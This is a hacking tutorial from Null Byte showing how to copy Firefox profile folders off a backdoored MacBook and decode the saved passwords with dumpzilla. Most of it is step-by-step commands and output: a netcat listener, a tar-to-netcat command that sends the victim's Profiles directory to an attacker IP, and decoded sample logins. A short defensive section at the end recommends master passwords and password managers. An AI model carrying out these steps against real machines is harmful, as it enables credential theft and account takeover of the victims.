Hacking macOS: How to Dump Passwords Stored in Firefox Browsers Remotely « Null Byte :: WonderHowTo

Passwords and data stored in web browsers are extremely valuable to hackers. If not for financial gain, black hat hackers may still leak your passwords and personal information for amusement. Never undervalue what you're worth to a hacker.While I'm definitely no black hat, discovering fun ways to perform post-exploitation attacks from aMacBook backdoorhas been an interesting experience. Thus far, I've been surprised to learn how easy it is toabuse tools built into macOSorinstall third-party softwareto further exploit a Mac computer.Continuing thishacking macOS journey, this time, I'm going to show how hackers can easily exfiltrate sensitive Firefox directories and how to extract the passwords usingdumpzilla, a comprehensive browser forensics tool. While black hats could benefit from this knowledge, white hats, pentesters, and other do-good hackers will as well. Plus, normal everyday Mac users will learn how ordinary practices such as storing passwords in browsers may put them at risk.Don't Miss:How to Configure a Backdoor on Anyone's MacBookReaders should keep in mind, this attack was performed from a low-privileged backdoor (no admin access) against Firefox 60 on macOS 10.13 with the Firewall enabled andAVG antivirusinstalled.Step 1: Install Dumpzilla DependenciesTo start, from the Kali system, install a few packages usingpip. Pip is a package management system used to install and manage Python packages. These packages are required to run dumpzilla. The full command ispip install logging lz4.pip install logging lz4

Collecting logging
  Downloading https://files.pythonhosted.org/packages/93/4b/979db9e44be09f71e85c9c8cfc42f258adfb7d93ce01deed2788b2948919/logging-0.4.9.6.tar.gz (96kB)
    100% |████████████████████████████████| 102kB 69kB/s
Building wheels for collected packages: logging
  Running setup.py bdist_wheel for logging ... done
  Stored in directory: /root/.cache/pip/wheels/7d/2e/cb/a51fbdf351b2efebcf857f8b2c8d59b6ccd44ea2e9bb4005d6
Successfully built logging
Installing collected packages: logging
Successfully installed logging-0.4.9.6There are more dependencies which I found were easier to install using APT. Enterapt-getinstall python3 sqlite3 python-lz4 libnss3*.apt-get install python3 sqlite3 python-lz4 libnss3*

Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
  sqlite3-doc
The following NEW packages will be installed:
  python-lz4 sqlite3
0 upgraded, 2 newly installed, 0 to remove and 274 not upgraded.
Need to get 879 kB of archives.
After this operation, 2,591 kB of additional disk space will be used.
Get:1 https://mirrors.dotsrc.org/kali kali-rolling/main amd64 python-lz4 amd64 0.10.1+dfsg1-0.2 [16.6 kB]
Get:2 https://mirrors.dotsrc.org/kali kali-rolling/main amd64 sqlite3 amd64 3.23.1-1 [863 kB]
Fetched 879 kB in 15s (60.0 kB/s)
Selecting previously unselected package python-lz4.
(Reading database ... 181720 files and directories currently installed.)
Preparing to unpack .../python-lz4_0.10.1+dfsg1-0.2_amd64.deb ...
Unpacking python-lz4 (0.10.1+dfsg1-0.2) ...
Selecting previously unselected package sqlite3.
Preparing to unpack .../sqlite3_3.23.1-1_amd64.deb ...
Unpacking sqlite3 (3.23.1-1) ...
Setting up python-lz4 (0.10.1+dfsg1-0.2) ...
Setting up sqlite3 (3.23.1-1) ...
Processing triggers for man-db (2.8.3-2) ...Step 2: Download DumpzillaWith the required packages installed, it's safe to download dumpzilla.Now, at the time of this writing, there's abug in the latest versionof dumpzilla which results in a failure to automatically decode the passwords saved in Firefox. Fortunately, GitHub keeps ahistory of every versionthat users can access at any time.In future releases of dumpzilla, it should be possible to simply clone the repository and continue following along with this article. For now, readers shoulddownload this version of dumpzillausing the belowwgetcommand. This version was tested and decodes passwords stored in Firefox as expected.Don't Miss:Steal & Decrypt Chrome & Firefox Passwords in Windows 10wget 'https://github.com/Busindre/dumpzilla/archive/b3075d1960874ce82ea76a5be9f58602afb61c39.zip'Step 3: Extract DumpzillaWget will create a new b3075d1960874ce82ea76a5be9f58602afb61c39.zip file. The compressed dumpzilla files within it can be extracted using theunzip b3075d1960874ce82ea76a5be9f58602afb61c39.zipcommand.unzip b3075d1960874ce82ea76a5be9f58602afb61c39.zip

Archive:  b3075d1960874ce82ea76a5be9f58602afb61c39.zip
b3075d1960874ce82ea76a5be9f58602afb61c39
   creating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/
   creating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/addinfo.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/addons.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/bookmarks.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/cert_override.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/cookies.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/downloads_dir.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/downloads_history.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/exceptions.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/extensions.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/forms.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/history.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/offlinecache.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/passwords.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/permissions.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/session.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/thumbnails.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/README.md
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/dumpzilla
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/dumpzilla.pyAfter extracting dumpzilla, change into the newly created "dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/" directory using thecdcommand.cd dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/Step 4: Elevate the File PermissionsThen, use thechmodcommand to make sure the dumpzilla.py file has permission to execute in Kali.chmod +x dumpzilla.pyStep 5: Start the Netcat ListenerWith dumpzilla all setup, start aNetcatlistener to receive the Firefox directories being sent from the backdoored MacBook.nc -l -p 9999 | tar xThis command will instruct Netcat to listen (-l) on port (-p)9999and pipe (|) the incoming data into the tar command. Tar is a command-line archiving utility available in both Kali and macOS. Thexproceeding thetarcommand tells tar to automaticallyextractand save the data (the compressed directories) coming from the Netcat pipe. Directories are compressed during the Netcat transmission to make it easier for Netcat to process the data.That's it for downloading dumpzilla and configuring Netcat to receive the Firefox data. Next, I'll show how to exfiltrate entire Firefox directories from the backdoored MacBook.Step 6: Exfiltrate Directories from the Backdoored MacBookSome readers may be aware of Firefox's ability tomanage multiple profiles. The profiles are usually utilized by computer-savvy users with a need to isolate their work, school, and personal browser history, bookmarks, and cookies.Generally, most Firefox users will have one "default" profile. On macOS, profiles are located in the below directory./Users/<USERNAME-HERE>/Library/Application Support/Firefox/Profiles/Notice the<USERNAME-HERE>portion of the directory path. Every user on the MacBook has their own Profiles/ directory. And by default, a user doesn't have read access (file permissions) to view the profiles belonging to other users.For example, if Bob's MacBook iscompromised using a fake PDFwhile he's logged into his account, the attacker will not be able to see other Firefox profiles on the MacBook that don't belong to Bob. At least not without performing privilege escalation — which is beyond the scope of this article.Don't Miss:How to Create a Fake PDF Trojan for macOS with AppleScriptOn the other hand, if the target MacBook wasphysically backdoored, the attacker will likely have full root (administrator) access to all of the accounts and Firefox profiles.Proceeding with the intent to only dump the Firefox profile for one individual account,remotely connect to the backdoored MacBookfor these next few commands.Change into the desired Profiles/ directory usingcd.cd '/Users/<USERNAME-HERE>/Library/Application Support/Firefox/'Then, use the belowtarcommand to compress (cf) the Profiles/ directory (and all of its contents) and direct (|) the data into the Netcat (nc) command. The attacker's system and IP address are represented as1.2.3.4, so be sure to change the IP address to the VPS or local IP address being used by the attacker.tar cf - Profiles/ | nc 1.2.3.4 9999While Netcat is transferring the directory, the terminals will have appeared to be frozen or stalled. It took about two minutes to complete the transfer when exfiltrating a Firefox profile with only 12 hours of data stored in it. I imagine a Firefox profile with months of browser history, months of browser cookies and hundreds of bookmarks could take a significate amount of time. Be patient here. If any of the data in the directories is corrupted while being exfiltrated to the Kali system, passwords saved in the Firefox profiles may not be decodable.Step 7: Decode the PasswordsBack on the Kali machine, there will be a new Profiles/ directory. In it, there will be at least one directory following the naming schemexxxxxxxx.default/. By default, Firefox automatically generates eight random characters (xxxxxxxx) and prepends them to the profile name. For example, users with multiple profiles may have directories called "w9wuahzu.work/," "ei49j03w.personal/," and "r3h84t9t.default." Each directory can be individually processed using dumpzilla.To extract passwords found in a particular Firefox profile, use thepython3 dumpzilla.py Profiles/xxxxxxxx.default/ --Passwordscommand.python3 dumpzilla.py Profiles/xxxxxxxx.default/ --Passwords

=============================================================================================================
== Decode Passwords
============================================================================================================
=> Source file: /tmp/dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/9kwbffy3.default/logins.json
=> SHA256 hash: 9df5b2c418bbb967e63b556162e6d11ed509a9a5c67580f3c79e089d954ade91

Web: https://www.facebook.com
Username: kevin.poulsen@gmail.com
Password: DarkDante23

Web: https://accounts.google.com
Username: kevin.poulsen
Password: Porsche944

Web: https://www.reddit.com
Username: hackerone@gmail.com
Password: DarkDante23

Web: https://www.amazon.com
Username: kevin.poulsen@gmail.com
Password: DarkDante944

Web: https://login.live.com
Username: kpoulsen@live.com
Password: DarkDante123

Web: https://www.netflix.com
Username: hackerone@gmail.com
Password: Porsche944

Web: https://login.aliexpress.com
Username: Poulsen
Password: Jordan626

===============================================================================================================
== Total Information
==============================================================================================================

Total Decode Passwords     : 7
Total Passwords            : 7How to Protect Against Web Browser AttacksDon't let this article deter you from using Firefox or mislead you to believe Google Chrome is any more secure. Google Chrome is just as vulnerable to the actions outlined in this article. Instead of looking to web browsers for protection, consider making some minor behavioral changes to make such attacks difficult for hackers.UsePrivate Browser mode. Dumpzilla can do a lot more than just extract passwords from Firefox. It's safer to use private browser mode 100% of the time. Though it may be inconvenient and make browsing the internet painful, it's actually quite dangerous to entrust so much data to web browsers. Browser data dumps containing dozens of email addresses and passwords are shared freely in black hat hacking communities. If hackers aren't selling your data, they're wreaking havoc on your accounts for amusement because it has no financial worth to them.Use aMaster password.If saving passwords in Firefox is a convenience you're not willing to give up, use astrong master password. This will provide a moderate obstacle for hackers and may prevent them from learning all of your passwords.Use a proper password manager. Password managers offer improved protection of stored passwords. Hackers can still exfiltrate and perform brute force attacks against the password manager's database but with a strong and unique password, attacker's will have to spend weeks (or months) trying to crack the encrypted database.Don't Miss:How to Manage Your Passwords with KeePassX in macOSFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by tokyoneon/Null ByteRelatedHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHacking macOS:How to Dump 1Password, KeePassX & LastPass Passwords in PlaintextHow To:The Ultimate Guide to Hacking macOSHow To:Hack Your Roommate! How to Find Stored Site Passwords in Chrome and FirefoxHacking macOS:How to Hack a MacBook with One Ruby CommandHack Like a Pro:How to Hack Facebook (Facebook Password Extractor)How To:Hack Your Firefox User Agent to Spoof Your OS and BrowserHow To:Dump a MacOS User's Chrome Passwords with EvilOSXNews:8 Tips for Creating Strong, Unbreakable PasswordsHow To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsHow To:Use Firefox's Secure 'Notes' App to Sync Lists & Other Notes to Your Desktop BrowserHow To:Install the Region-Locked Firefox Browser on Your iPhoneHow To:3 Reasons Firefox Quantum Is the Best Browser for AndroidHacking macOS:How to Bypass the LuLu Firewall with Google Chrome DependenciesHow To:Use Firefox Rocket to Browse the Web Faster & Save Data on Any AndroidHow To:Manage Stored Passwords So You Don't Get HackedFirefox Mobile 101:How to Turn Websites into Apps on Your Home Screen with the New Quantum BrowserHacking macOS:How to Hack a Mac Password Without Changing ItHow To:Your Phone's Biggest Security Weakness Is Its Data Connection — Here's How to Lock It DownHow To:Try Mozilla's Privacy-Friendly Firefox Focus Browser on Android Right NowHow To:Steal Usernames & Passwords Stored in Firefox on Windows 10 Using a USB Rubber DuckyHow To:Easily Bypass macOS High Sierra's Login Screen & Get Root (No Password Hacking Required)How To:Reveal Saved Website Passwords in Chrome and Firefox with This Simple Browser HackHow To:Comparing the 5 Best Internet Browsers for AndroidFirefox Mobile 101:How to Customize Your Browser with ThemesHow To:Find log-ins and passwords in Firefox 3 on a PC or MacNews:Firefox Mobile Just Got Faster — New Browser Engine Brings Quantum's Speed to AndroidFirefox Mobile 101:How to Save Links as New Tabs Without Leaving Your Current AppHow To:Stop Sites from Tracking You on Your iPhone with Firefox FocusHow To:Re-Enable Copy & Paste on Annoying Sites That Block ItHow To:Carve Saved Passwords Using CainHow To:Reveal Saved Browser Passwords with JavaScript InjectionsHow To:Install "Incompatible" Firefox Add-Ons After Upgrading to the New FirefoxHow To:Chrome Shares Your Activity with Google - Here's How to Use Comodo Dragon to Block ItHow To:amend Adobe Flash SettingsHow To:Prevent Social Networks from Tracking Your Internet ActivitiesLockdown:The InfoSecurity Guide to Securing Your Computer, Part IIHow To:Defend from Keyloggers in Firefox with Keystroke EncryptionHow To:Disable & Uninstall Mozilla Firefox Add-ons (Plug-ins, Extensions & Themes)How To:Download and Install Firefox